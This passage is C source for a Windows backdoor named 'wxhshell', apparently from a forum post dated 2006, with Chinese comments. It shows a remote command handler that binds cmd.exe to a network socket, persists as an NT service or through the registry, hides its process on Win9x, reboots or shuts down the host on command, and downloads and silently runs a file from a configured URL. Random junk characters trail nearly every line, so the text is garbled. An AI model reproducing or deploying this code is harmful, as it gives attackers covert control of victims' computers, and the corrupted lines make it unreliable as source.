      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  @;$cX2  
    break; $v[mIR  
  } S89j:KRXH%  
  // 安装 3 o$zT9j  
  case 'i': { +RJKJ:W  
    if(Install()) _p5#`-%mM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5S2 j5M00  
    else ]z5hTY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rMHh!)^#W  
    break; 9(O eH7  
    } T/2k2r4PD  
  // 卸载 ]jC{o,?s  
  case 'r': { h#KSKKNW  
    if(Uninstall()) eY'n S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4L ]4WVc  
    else `GW&*[.7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |59)6/i  
    break; |JF,n~n  
    } p JT)X8K"  
  // 显示 wxhshell 所在路径 /]'&cD 1  
  case 'p': { :r ~iFP*  
    char svExeFile[MAX_PATH]; J(@" 7RX  
    strcpy(svExeFile,"\n\r"); jf`w8*R  
      strcat(svExeFile,ExeFile); =}kISh  
        send(wsh,svExeFile,strlen(svExeFile),0); mXyN{`q=  
    break; U;4i&=.!  
    } fM7B<eB  
  // 重启 sve} ent  
  case 'b': { h@\-]zN{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {:*G/*1[.  
    if(Boot(REBOOT)) m_CW Vw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?bt;i>O\  
    else { 88,hza`#V  
    closesocket(wsh); Hg<aU*o;  
    ExitThread(0); 7)5G 1  
    } (]T[n={Y  
    break; S{N4[U?V>  
    } 2T)k-3  
  // 关机 C?>d$G8  
  case 'd': { FeMgn`q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cu foP&  
    if(Boot(SHUTDOWN)) y< j7iN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wK7w[Xt  
    else { j5" L  
    closesocket(wsh); y0(.6HI  
    ExitThread(0); G4*&9Wo  
    } 0C> _aj  
    break; utuWFAGn A  
    } (lS[a  
  // 获取shell r7g@(K  
  case 's': { "yh2+97l  
    CmdShell(wsh); /g!ZU2&l  
    closesocket(wsh); xvl{o  
    ExitThread(0); #n{4f1TZ  
    break; @s cn ?t  
  } k{#k:  
  // 退出 v]EZYEXFL)  
  case 'x': { $Wj{B@k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NJgu`@YoI  
    CloseIt(wsh); q4w]9b/  
    break; A+8)VlE\  
    } ;$zvm`|:  
  // 离开 .Z'NH wCy  
  case 'q': { \%Y`>x.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NQ;X|$!zH  
    closesocket(wsh); 97\K] Tr  
    WSACleanup(); p7-\a1P3  
    exit(1); FXDB> }8  
    break; hZ452W  
        } Y:O|6%00Y  
  } %a WRXW@c  
  } K mH))LIv  
9xz@2b@  
  // 提示信息 k<Gmb~Tg1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AVw oOv J  
} i 0/QfB%O  
  } b way+lh  
zJW2F_  
  return; f~\H|E8(  
} w^ z ftm  
@(35I  
// shell模块句柄 r>ed/<_>m;  
int CmdShell(SOCKET sock) 9v`sSTlSd  
{ <(@S;?ZEW  
STARTUPINFO si; He'VqUw_  
ZeroMemory(&si,sizeof(si)); 5NUaXQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O2ktqAWx@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >I5Wf /$  
PROCESS_INFORMATION ProcessInfo; J-'XT_k:iM  
char cmdline[]="cmd"; J/K~8s c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q"u2<  
  return 0; (|Gwg\r  
} EK=0oy[  
rf|Nu3AJ  
// 自身启动模式 ru2M"]T  
int StartFromService(void) EC8Z. Uu  
{ 8)?&eE'  
typedef struct Dt[+HCCY:  
{ -.? @f tY  
  DWORD ExitStatus; b<4nljbx  
  DWORD PebBaseAddress; !`H{jwH  
  DWORD AffinityMask; Be@g|'r  
  DWORD BasePriority; R|(X_A  
  ULONG UniqueProcessId; NYP3u_ QX  
  ULONG InheritedFromUniqueProcessId; ~Yg) 8  
}   PROCESS_BASIC_INFORMATION; +@!\3a4!  
\RR` F .7  
PROCNTQSIP NtQueryInformationProcess; BWxJ1ENM  
"1^tVw|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f!yl&ulKU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5j.@)XXe  
UakVmVN/P  
  HANDLE             hProcess; kP[fhOpn  
  PROCESS_BASIC_INFORMATION pbi; O&aD]~|  
 rn( drG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4[x` \  
  if(NULL == hInst ) return 0; \ [OB.  
J5Zz*'av'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $`7Fk%#+e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ysK J=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DFQ`(1Q  
<";1[A%7<  
  if (!NtQueryInformationProcess) return 0; H $Az,-P  
TO5y.M|7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ibZ[U p?  
  if(!hProcess) return 0; \8<[P(!3  
2HBey  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aW dI  
U W8yu.`?  
  CloseHandle(hProcess); u;H^4} OQ  
!y~nsy:&7x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * bYU=RS  
if(hProcess==NULL) return 0; 2>^(&95M  
]5QXiF8`  
HMODULE hMod; ^_\m@   
char procName[255]; `lOW7Z}  
unsigned long cbNeeded; ^&86VBP  
v\8v'EDP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H/M]YUs/3  
tlD^"eq4:  
  CloseHandle(hProcess); 5<`83; R9  
qzvht4  
if(strstr(procName,"services")) return 1; // 以服务启动 /v<Gt%3X  
(n.IK/:  
  return 0; // 注册表启动 iOhX\@&  
} Q`'cxx  
\F`>zY2$%  
// 主模块 F7jkl4  
int StartWxhshell(LPSTR lpCmdLine) R'tvF$3=i  
{ $eT[`r  
  SOCKET wsl; ./3/3& 6  
BOOL val=TRUE; (?'vT %  
  int port=0; > r(`4M:  
  struct sockaddr_in door; g.!k>_g`  
PB"=\>]`N  
  if(wscfg.ws_autoins) Install(); G#`  
fW=<bf  
port=atoi(lpCmdLine); ?o6#i3k#'  
O>vCi&  
if(port<=0) port=wscfg.ws_port; Hp ;$fQ  
ucz~y! 4L{  
  WSADATA data; 'lpCwH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WQN`y>1#@_  
?8s$RYp14  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5`e;l$ M`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ](n)bF+ym  
  door.sin_family = AF_INET; !PeSnO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qhTVsZ:{C  
  door.sin_port = htons(port);  _}JMBIq$  
T YR \K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wBw(T1VN  
closesocket(wsl); Iy;"ht6  
return 1; PU%f`)  
} jHE^d<=O^  
z#`Qfvu6Hi  
  if(listen(wsl,2) == INVALID_SOCKET) { tUOY`]0  
closesocket(wsl); Nc[N 11?O  
return 1; Zw{?^6;cS  
} GNuIcy  
  Wxhshell(wsl); j -"34  
  WSACleanup(); +Tx_q1/f5X  
`ItoL7bi  
return 0; V'dw=W17V  
m##!sF^k~J  
} KrG,T5  
NhTJB7  
// 以NT服务方式启动 h:G>w`X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SvkCx>6/G  
{ nIL67&  
DWORD   status = 0; B:UM2Jl   
  DWORD   specificError = 0xfffffff; KlS#f  
GB}=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fkpaou  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0:I<TJ~P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #ucb  
  serviceStatus.dwWin32ExitCode     = 0; jy>?+hm?  
  serviceStatus.dwServiceSpecificExitCode = 0; 8b-mW>xsA  
  serviceStatus.dwCheckPoint       = 0; s~>1TxJe  
  serviceStatus.dwWaitHint       = 0; aqK+ u.H  
g2==`f!i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KTot40osj  
  if (hServiceStatusHandle==0) return; YuIF}mUr"  
>)diXe}j  
status = GetLastError(); P{n*X  
  if (status!=NO_ERROR)  W{Z 7=  
{ W?kJ+1"(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m`$Q/SyvG  
    serviceStatus.dwCheckPoint       = 0; )/Eu=+d  
    serviceStatus.dwWaitHint       = 0; q=`n3+N_H~  
    serviceStatus.dwWin32ExitCode     = status; #rr!A pJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0J466H_d{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~UeTV?)  
    return; XHJ` C\xR  
  } YIgHLM(  
\ %MsG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [YODyf}M>\  
  serviceStatus.dwCheckPoint       = 0; :O&jm.2m  
  serviceStatus.dwWaitHint       = 0; [iO8R-N8d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eGpKoq7a  
} [N9yW uc  
0&CXR=U5  
// 处理NT服务事件,比如:启动、停止 y4IQa.F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^LB]  
{ z'1%%.r;FM  
switch(fdwControl) %*Mr ^=  
{ :IJ<Mmb  
case SERVICE_CONTROL_STOP: xz.M'az\  
  serviceStatus.dwWin32ExitCode = 0; 1+7_L`SB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t18j2P>`  
  serviceStatus.dwCheckPoint   = 0; EVaHb;  
  serviceStatus.dwWaitHint     = 0; K*,,j\Q.  
  { ),Yk53G6c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P?|\Ig1Gk  
  } gzat!>*  
  return; , #GB  
case SERVICE_CONTROL_PAUSE: "zXrfn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r1vS~ 4Z  
  break; |nLq 4.  
case SERVICE_CONTROL_CONTINUE: p"jze3mF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r7?nHF  
  break; o37oRv]  
case SERVICE_CONTROL_INTERROGATE: Pn.DeoHme  
  break; u=]*,,5<  
}; f##/-NG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H%rNQxA2 +  
} 5|pF*8*  
XSK<hr0m  
// 标准应用程序主函数 T2azHo7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~&MDfpl  
{ ,~1k:>njY~  
> cWE@P  
// 获取操作系统版本 ]e"!ZR?XJ  
OsIsNt=GetOsVer(); ,!%E\`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LdNpb;*  
 s7:H  
  // 从命令行安装 #Y   
  if(strpbrk(lpCmdLine,"iI")) Install(); 6~W@$SP,F  
~@-r  
  // 下载执行文件 :KXI@)M  
if(wscfg.ws_downexe) { , u%V%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <pHm=q/U  
  WinExec(wscfg.ws_filenam,SW_HIDE); -gba&B+D"  
} MVvBd3  
Tl[*(| /C  
if(!OsIsNt) { f#GMJ mCQs  
// 如果时win9x,隐藏进程并且设置为注册表启动 hjFht+j1  
HideProc(); @>~\So|  
StartWxhshell(lpCmdLine); HB}rpiB  
} RU6c 8>"  
else kb/BE J  
  if(StartFromService()) #wRhR>6  
  // 以服务方式启动 _TsN%)m  
  StartServiceCtrlDispatcher(DispatchTable); LJ@r+|>  
else GU@#\3  
  // 普通方式启动 cRbA+0m>  
  StartWxhshell(lpCmdLine); 39P55B/o%  
E7@Gpu,o  
return 0; 2@z.ory.  
}
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只看该作者 1 发表于: 2006-10-10
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